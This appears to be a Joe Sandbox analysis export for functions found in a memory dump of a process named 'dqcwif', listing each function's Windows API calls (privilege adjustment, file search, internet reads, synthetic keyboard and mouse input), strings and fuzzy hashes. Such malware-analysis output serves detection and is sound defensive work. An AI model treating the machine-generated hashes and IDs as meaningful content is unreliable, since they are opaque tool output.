Opcode Fuzzy Hash: 60f9666ca451ed35fe8ab7f9d9e10171ddfa37ac04d0aa9f8a10e9c9a443c8f8
Instruction Fuzzy Hash: 93826936A08A5686EB64DF19E4A86F923A1FB46F84F540036DB4D9779ADF3DEC41C300

Function 00007FF6B5B40E90 Relevance: 4.9, Strings: 3, Instructions: 1176COMMON

Download Yara Rule

Strings

\, xrefs: 00007FF6B5B40F67
, xrefs: 00007FF6B5B86C9D
[, xrefs: 00007FF6B5B40F40

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID: $[$\
API String ID: 0-3681541464
Opcode ID: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
Instruction ID: 0aa79941cea1098ad9e4d62deda0b0f9cd8143cfac3571df82381b66d8671d6f
Opcode Fuzzy Hash: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
Instruction Fuzzy Hash: F7B27D32B046568AEB248F69C4606EC37B1FB16B48F505136CB0D9BB8AEF79ED41C741

Function 00007FF6B5B51750 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FF6B5B517DB

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
Instruction ID: f7ef0fc1875c08e240888dc88f7fe049db9a834bfd3898dc983512ec58871b45
Opcode Fuzzy Hash: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
Instruction Fuzzy Hash: 6FD19432B1968687D728CF19F1B46AAB691F789B84F148134DB8A97749DE3CED41CB00

Function 00007FF6B5BA6428 Relevance: 4.6, APIs: 3, Instructions: 116fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6B5BA6464
FindNextFileW.KERNEL32 ref: 00007FF6B5BA64B9
FindClose.KERNEL32 ref: 00007FF6B5BA64FB

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
Instruction ID: a526151324bee506c915eff620fb7685bb4bb7696fc4c715abcd733d6c94bf87
Opcode Fuzzy Hash: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
Instruction Fuzzy Hash: D8516D72A08A4686DB24DF29D4A42EC7760FB85F94F504236CB5E837AACF7DD951C700

Function 00007FF6B5BA58C4 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF6B5BA58E4
GetDiskFreeSpaceExW.KERNEL32 ref: 00007FF6B5BA595A
SetErrorMode.KERNEL32 ref: 00007FF6B5BA59BA

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
Instruction ID: 99912650447ba8cb119ee186ee7e54bd35c480de5831f0dae3f5f7aad3fec4fe
Opcode Fuzzy Hash: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
Instruction Fuzzy Hash: 3D314432608B8586E7109F29E4502AE7760FB85F94F114131DB8E477AADF7DD546CB00

Function 00007FF6B5B8D5CC Relevance: 4.6, APIs: 3, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B44C68: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6B5B44C5C

LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6B5B8D630
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6B5B8D66F
GetLastError.KERNEL32 ref: 00007FF6B5B8D682

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: AdjustConcurrency::cancel_current_taskErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 2278415577-0
Opcode ID: 70c4773b18923e0c28b697d59e2b6e62826da89e857526a178f76e4b759ffcd8
Instruction ID: eba969b6185c5a0be91e648983c9fadecff06ac061eef30cf4f176113f8f982d
Opcode Fuzzy Hash: 70c4773b18923e0c28b697d59e2b6e62826da89e857526a178f76e4b759ffcd8
Instruction Fuzzy Hash: 1321B072A08A8689E714DF2AE4503A977A0FB89FD4F488435DF4C4775ACF78D955C700

Function 00007FF6B5B8D540 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6B5B8D58C
CheckTokenMembership.ADVAPI32 ref: 00007FF6B5B8D5A3
FreeSid.ADVAPI32 ref: 00007FF6B5B8D5B4

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction ID: 5bcd501a6461202b047beb21c928c03b08fe44e1c1e0015db27d5ad9785ee4e6
Opcode Fuzzy Hash: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction Fuzzy Hash: 4E014C736247818FE7208F24E4957AA33A0F75476EF400A29E64986AD9CF7DC258CB80

Function 00007FF6B5B5BEF8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF6B5B5475C,?,?,00000000,00007FF6B5B547D9,?,?,?,?,?,00007FF6B5BA2210), ref: 00007FF6B5B5BF3F

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00007FF6B5B5BF18

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Time$FileSystem
String ID: GetSystemTimePreciseAsFileTime
API String ID: 2086374402-595813830
Opcode ID: 572b71549e45f6bab70ab7a1e99299a405b58e83dcd9cf08a8343814aa6f0cc3
Instruction ID: e8ab165c61389bec76864189e49d7d7d17d1b105bf02d700f0f1672bb16d41de
Opcode Fuzzy Hash: 572b71549e45f6bab70ab7a1e99299a405b58e83dcd9cf08a8343814aa6f0cc3
Instruction Fuzzy Hash: 66F01C10A59A4792EA089B59F4750F47211AF4AFC0F545031EB0E4639ADE3CD844C704

Function 00007FF6B5B667F0 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF6B5B66A3D
RaiseException.KERNEL32 ref: 00007FF6B5B66A4E

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
Instruction ID: f3d00cb68c434bdfb7f039e32c610926604694bc3adf8307d583eb51e657d802
Opcode Fuzzy Hash: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
Instruction Fuzzy Hash: F8B14A77604B848AEB15CF2DC8553A87BA0F746F48F18892ADB5D877A9CF39D852C700

Function 00007FF6B5BA71F4 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6B5BA7227
FindClose.KERNEL32 ref: 00007FF6B5BA726A

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction ID: 70b4fcda480a92d358b87915c156f6c1ffd0517f9036d63f5f9d9255d00094de
Opcode Fuzzy Hash: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction Fuzzy Hash: 35117C32B0874182EB14DB2AE0943AC7760FB8AFA0F058631DB6D47B9ACF7CD8518710

Function 00007FF6B5BA3778 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF6B5BB7AD2), ref: 00007FF6B5BA379A
FormatMessageW.KERNEL32 ref: 00007FF6B5BA37C9

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
Instruction ID: 1a63da01c8c34bc833b7deac2030ba5abec56b3c6a2cbd43b3a929e45b8b10ac
Opcode Fuzzy Hash: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
Instruction Fuzzy Hash: E5F0C862A08B4241E7205B1AF4106AAA6A5FFCAB94F104134EB9D83BDEDE3CC8048B00

Function 00007FF6B5B595B0 Relevance: 2.9, Strings: 2, Instructions: 378COMMONLIBRARYCODE

Download Yara Rule

Strings

a/p, xrefs: 00007FF6B5B598D9
am/pm, xrefs: 00007FF6B5B5986E

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID: a/p$am/pm
API String ID: 0-3206640213
Opcode ID: 7b3f4c1adbce48e9712f7f101c5ec161db5e41a840f2bf09c06579e081aceba8
Instruction ID: 02b8d80d27602ad78f58cadf697fe547afeb5ad0a7d2245d1d500f5f131fb3cf
Opcode Fuzzy Hash: 7b3f4c1adbce48e9712f7f101c5ec161db5e41a840f2bf09c06579e081aceba8
Instruction Fuzzy Hash: 90E1A122A0865285EB6C8F2CE1745F923A5FF06B80F544132EB1E8668EDF3DED51CB10

Function 00007FF6B5B4C3FC Relevance: 2.7, Strings: 2, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0x%p, xrefs: 00007FF6B5B4C40B
0, xrefs: 00007FF6B5B4C5B3

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$0x%p
API String ID: 3215553584-2479247192
Opcode ID: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
Instruction ID: 6d2507630ba5ffc0f77c84bb0f641d5a2f47ce314e5e486e81633be37354604f
Opcode Fuzzy Hash: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
Instruction Fuzzy Hash: DE81B062A1868246EAB88A2D81696FD23A0EF43F44F542531DF0DD769FCF2DEC46D701

Function 00007FF6B5B30E70 Relevance: 1.9, Strings: 1, Instructions: 680COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 00007FF6B5B7BA13

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.
API String ID: 0-1840281001
Opcode ID: 0846f4224996d3c000beb684e8f92ad8a272e358ff67d15cb6cee7ad666ce03d
Instruction ID: 4398b770cdb6f05a2cdfe65e04c411c694de1eb98c2e43c1a0d3800e98543e74
Opcode Fuzzy Hash: 0846f4224996d3c000beb684e8f92ad8a272e358ff67d15cb6cee7ad666ce03d
Instruction Fuzzy Hash: 0B524B32A086429AEB20DF69C4602FC27A5EB46B88F504135DF0DA7A8FDF39E945C750

Function 00007FF6B5B3FA4F Relevance: 1.7, Strings: 1, Instructions: 447COMMON

Download Yara Rule

Strings

no error, xrefs: 00007FF6B5B83953

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID: no error
API String ID: 0-1106124726
Opcode ID: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction ID: 3b2458e5bf8ccc3110722e10c8f20d379dde8a1eb2678efba9eebaa8a7e5568a
Opcode Fuzzy Hash: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction Fuzzy Hash: B3129C72A187928AE724CF69D8602ED37A4FB05B48B105135EF4E97B9ADF3CE940C740

Function 00007FF6B5BAE87C Relevance: 1.6, APIs: 1, Instructions: 62filenetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B548E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B54835

InternetReadFile.WININET ref: 00007FF6B5BAE8D8

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: FileInternetRead_invalid_parameter_noinfo
String ID:
API String ID: 101623796-0
Opcode ID: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
Instruction ID: b62c019ee4aca4bd8e629a8bd48d4c816cb527819aa3be2168ece5ab4ef2ef9c
Opcode Fuzzy Hash: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
Instruction Fuzzy Hash: BF216262B08B9246FA64DA19E0607F96350FB8AF84F845135DB4C87B8EDF3CE941CB44

Function 00007FF6B5B99420 Relevance: 1.5, APIs: 1, Instructions: 26keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32 ref: 00007FF6B5B99465

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: InputSend
String ID:
API String ID: 3431551938-0
Opcode ID: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
Instruction ID: ef1c1dcd12393a042b88726e2b581e8a23136761a8e41278fcd209d74efa0ad5
Opcode Fuzzy Hash: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
Instruction Fuzzy Hash: A9F0B46691C5C0C6D3308F15E45076A77A0F759B4DF405115EB8987BA5CF3EC5098F04

Function 00007FF6B5B9D1A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

mouse_event.USER32 ref: 00007FF6B5B9D1E1

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: d8d6f02688d8abf5cd4837f0aea5b825f774ed0048ed251121670875c750f025
Instruction ID: 60e12fd2209f54820c91211ddcf74bca7aa99cdf22b2a486db6dac8f4032b4df
Opcode Fuzzy Hash: d8d6f02688d8abf5cd4837f0aea5b825f774ed0048ed251121670875c750f025
Instruction Fuzzy Hash: 66E01A77E0C06296F2681A7E553A7B60741ABA3B00EA00135DB49C6ADFCD5DAE059514

Function 00007FF6B5B4C130 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF6B5B4C2E7

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction ID: fc197dd05abb3df6147da1c1899e85c377f63e3e5518832c4f3bd05fca576725
Opcode Fuzzy Hash: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction Fuzzy Hash: 2081C222A1860247EAB88A6D90606FE23A0EF47F44F541535DF09D769FCF7DEC469740

Function 00007FF6B5B4BEB4 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF6B5B4C04E

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
